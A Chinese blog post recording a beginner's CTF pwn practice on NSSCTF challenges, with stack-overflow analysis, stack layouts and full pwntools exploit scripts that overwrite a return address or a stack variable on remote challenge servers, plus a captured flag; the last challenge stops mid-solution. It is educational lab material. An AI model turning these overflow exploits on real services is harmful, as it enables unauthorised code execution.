pwn初学刷题记录

PWN初学刷题记录

[SWPUCTF 2021 新生赛]nc签到

比较简单 nc连接
/bin/sh
cat flag
image

NSSCTF{c5a6491d-b37c-493a-9b74-c578aef0c431}

[SWPUCTF 2021 新生赛]gift_pwn

shell无反应
image

ida查看附件
image

read函数读取100字节,但是buf只有16字节容量,栈溢出
image

找到后门函数gift,执行/bin/sh,地址为4005B6
栈分布布局

低地址
+-----------------+
| buf[16]         |  <- 填充 16 个 'a'
+-----------------+
| 保存的 rbp      |  <- 填充 8 个 'b'  
+-----------------+
| 返回地址        |  <- 覆盖为 gift 函数地址 (0x4005B6)
+-----------------+
高地址

构造payload

payload = b'a'*0x10 + b'b'*0x8 + p64(0x400586)

完整exp

from pwn import *
p = remote('node4.anna.nssctf.cn',28232)

#构造payload
payload = b'a' * 0x10 + b'b'*0x8 + p64(0x4005b6)
 
#发送payload
p.send(payload)
 
#进入交互模式
p.interactive()

image

[LitCTF 2023]只需要nc一下~

image

[CISCN 2019华北]PWN1

nc 一下
image

老规矩查查附件
image

只有v2的值为11.28125时才会执行cat /flag
所有思路就很简单了,通过栈溢出覆盖到v2(gets不会限制读取)
v1 44字节,v2 4字节浮点数
Payload 结构:44 字节的填充(如 b'A') + 4 字节的浮点数表示。

payload = b'a'*44 + struct.pack('<f', 11.28125)

完整exp

from pwn import *
p = remote('node7.anna.nssctf.cn',22815)

payload = b'a'*44 + struct.pack('<f', 11.28125)
p.send(payload)
p.interactive()

image

[NISACTF 2022]ReorPwn

很好的题目,使Re手旋转
nc受阻
image

查下附件成分先
image

保护很多
上ida
image

跟进fun()
image

Re手狂喜,一眼顶针了,字符串反转函数
这下真有反转了
image

posted @ 2025-10-02 15:47  Civilight~Eterna  阅读(17)  评论(0)    收藏  举报